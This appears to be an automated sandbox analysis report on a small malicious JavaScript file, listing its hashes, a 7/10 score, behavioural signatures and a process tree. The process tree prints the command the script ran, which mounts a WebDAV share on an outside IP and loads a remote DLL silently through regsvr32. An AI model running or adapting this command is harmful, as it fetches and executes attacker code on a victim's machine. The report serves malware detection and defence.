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Analysis

  • max time kernel
    140s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 18:22

General

  • Target

    73617223024615269.js

  • Size

    4KB

  • MD5

    7c5da1c34d34594f68a5e5519cc94e43

  • SHA1

    1d137056cbd41b778e3d08df65907bc6f7dd443c

  • SHA256

    79f1e4f71bb53f86f422baa1a6173a43607c79d1aad750612ab271660cbdbbc4

  • SHA512

    1fbefa7052f751686575fcc4291f622055e1d70f1ad9c4f877d8677efa7d019c366776b11d9345f09b374cf02b8ce2505a2b4a9d88cdb4bd020fb36b11782e21

  • SSDEEP

    48:k7mEWr6UTpZk4E27CIVLWTEWYVEWxK7mqEWTtufEWyfEWy3fmqEWfBoPSQUvEWAn:k79UTpjx7P9utRtiaeU3Ak47U9CeU3J8

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\73617223024615269.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\30996305923783.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1196
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1836

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads